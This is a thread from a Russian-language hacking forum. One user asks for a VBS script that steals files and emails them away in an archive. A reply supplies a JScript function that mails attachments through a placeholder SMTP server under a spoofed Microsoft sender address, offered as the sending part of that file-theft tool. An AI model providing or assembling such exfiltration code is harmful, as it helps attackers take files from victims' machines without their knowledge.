HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 19.03.2012, 01:00
thekozel88
Новичок
Регистрация: 12.02.2012
Сообщений: 7
С нами: 7499126

Репутация: 0
По умолчанию

Ищу vbs скрипт для угона файлов и их отправке на Мыло в архиве. Раньше Тут уже такой видел хотелось бы найти.
 
Ответить с цитированием

  #2  
Старый 10.03.2013, 01:00
craftyy
Новичок
Регистрация: 10.03.2013
Сообщений: 1
С нами: 6934646

Репутация: 0
По умолчанию

function SendMail(sRecipientMail, sSubject, sMsgBody,files)
{
try
{
// create a session and log on -- username and password in profile
var refMsg = WScript.CreateObject("CDO.Message");
var refConf = WScript.CreateObject("CDO.Configuration");

// Setting configuration params
with(refConf.Fields)
{
Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "www.mysmtp.com";
Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2;
}
refConf.Fields.Update();

with(refMsg)
{
Configuration = refConf;
To = sRecipientMail;
From = "billgates@microsoft.com";
Subject = sSubject;
TextBody = sMsgBody;
}

if (files)
{
for(var i=0; i<files.length; i++)
refMsg.AddAttachment(files[i]);
}

refMsg.Send();
}
catch(e)
{
WScript.Echo("SendMail error: " + e.description);
WScript.Quit(1);
}
}
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.